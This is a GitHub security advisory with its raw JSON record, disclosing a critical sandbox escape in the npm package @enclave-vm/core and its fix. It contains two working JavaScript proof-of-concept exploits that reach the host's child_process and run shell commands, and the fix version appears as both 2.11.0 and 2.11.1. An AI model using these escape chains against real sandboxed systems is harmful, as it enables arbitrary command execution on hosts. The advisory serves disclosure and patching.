GHSA-F229-3862-4942

Vulnerability from github – Published: 2026-02-25 17:26 – Updated: 2026-02-25 17:26
VLAI?
Summary
@enclave-vm/core is vulnerable to Sandbox Escape
Details

Summary

It is possible to escape the security boundraries set by @enclave-vm/core, which can be used to achieve remote code execution (RCE).

The issue has been fixed in version 2.11.1.

Details

It is possible to obtain the native Object constructor (instead of the SafeObject wrapper). This can be used to get retrieve property descriptors via Object.getOwnPropertyDescriptors, allowing access to properties otherwise restricted by the sandbox.

When a memory limit is set (which is the default), __host_memory_track__, a host object, can be used to escape via the host function constructor.

When this is not the case, a host reference can be obtained via Node's nodejs.util.inspect.custom symbol (which can be triggered, for example, through console.log).

Proof of Concept

PoC 1

const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({
  securityLevel: "SECURE",
  toolHandler: () => {},
});

const result = enclave.run(`
const op = {}[["__proto__"]];
const ho = op[["constructor"]];

const glob = ho.getOwnPropertyDescriptors(this);

return {
  res: glob.__host_memory_track__.value[["constructor"]]("return process")()
    .getBuiltinModule("child_process")
    .execSync("id")
    .toString()
    .split("\\n"),
};`);

result
  .then((v) => console.log("success", v))
  .catch((e) => console.log("failure", e));

PoC 2

const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({
  securityLevel: "STRICT",
  toolHandler: () => {},
  memoryLimit: 0,
});

const result = enclave.run(`
const op = {}[['__proto__']];
const ho = op[['constructor']];

const glob = ho.getOwnPropertyDescriptors(this);

const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');

let result;
const obj = {
  [sym]: (depth, option, inspect) => {
    result = inspect[['constructor']]
      [['constructor']]('return process')()
      .getBuiltinModule('child_process')
      .execSync('id')
      .toString();
  },
};

glob.__safe_console.value.log(obj);
return { result }
`);

result
  .then((v) => console.log("success", v))
  .catch((e) => console.log("failure", e));

Impact

This vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.

This constitutes Remote Code Execution (RCE) and should be considered Critical severity.

Remediation

The issue has been fixed in v2.11.0 with the following hardening measures:

  • Strengthened intrinsic object isolation
  • Improved console isolation
  • Hardened host callback exposure paths
  • Closed AST validation gaps
  • Added additional defensive checks around constructor access and prototype traversal

All known escape paths demonstrated in the PoCs are now blocked.

Users are strongly advised to upgrade to v2.11.1 or later immediately.

Credit

Enclave would like to thank @c0rydoras for responsibly reporting this issue and for providing detailed proof-of-concept examples.

Severity ?
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.10.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@enclave-vm/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27597"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T17:26:23Z",
    "nvd_published_at": "2026-02-25T04:16:03Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nIt is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).\n\nThe issue has been fixed in version **2.11.1**.\n\n---\n\n## Details\n\nIt is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.\n\nWhen a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.\n\nWhen this is not the case, a host reference can be obtained via Node\u0027s `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).\n\n---\n\n## Proof of Concept\n\n### PoC 1\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"SECURE\",\n  toolHandler: () =\u003e {},\n});\n\nconst result = enclave.run(`\nconst op = {}[[\"__proto__\"]];\nconst ho = op[[\"constructor\"]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nreturn {\n  res: glob.__host_memory_track__.value[[\"constructor\"]](\"return process\")()\n    .getBuiltinModule(\"child_process\")\n    .execSync(\"id\")\n    .toString()\n    .split(\"\\\\n\"),\n};`);\n\nresult\n  .then((v) =\u003e console.log(\"success\", v))\n  .catch((e) =\u003e console.log(\"failure\", e));\n```\n\n---\n\n### PoC 2\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"STRICT\",\n  toolHandler: () =\u003e {},\n  memoryLimit: 0,\n});\n\nconst result = enclave.run(`\nconst op = {}[[\u0027__proto__\u0027]];\nconst ho = op[[\u0027constructor\u0027]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nconst sym = glob[[\u0027Symbol\u0027]].value.for(\u0027nodejs.util.inspect.custom\u0027);\n\nlet result;\nconst obj = {\n  [sym]: (depth, option, inspect) =\u003e {\n    result = inspect[[\u0027constructor\u0027]]\n      [[\u0027constructor\u0027]](\u0027return process\u0027)()\n      .getBuiltinModule(\u0027child_process\u0027)\n      .execSync(\u0027id\u0027)\n      .toString();\n  },\n};\n\nglob.__safe_console.value.log(obj);\nreturn { result }\n`);\n\nresult\n  .then((v) =\u003e console.log(\"success\", v))\n  .catch((e) =\u003e console.log(\"failure\", e));\n```\n\n---\n\n## Impact\n\nThis vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.\n\nThis constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.\n\n---\n\n## Remediation\n\nThe issue has been fixed in **v2.11.0** with the following hardening measures:\n\n* Strengthened intrinsic object isolation\n* Improved console isolation\n* Hardened host callback exposure paths\n* Closed AST validation gaps\n* Added additional defensive checks around constructor access and prototype traversal\n\nAll known escape paths demonstrated in the PoCs are now blocked.\n\nUsers are strongly advised to upgrade to **v2.11.1** or later immediately.\n\n---\n\n## Credit\n\nEnclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.",
  "id": "GHSA-f229-3862-4942",
  "modified": "2026-02-25T17:26:23Z",
  "published": "2026-02-25T17:26:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27597"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/agentfront/enclave"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@enclave-vm/core is vulnerable to Sandbox Escape"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.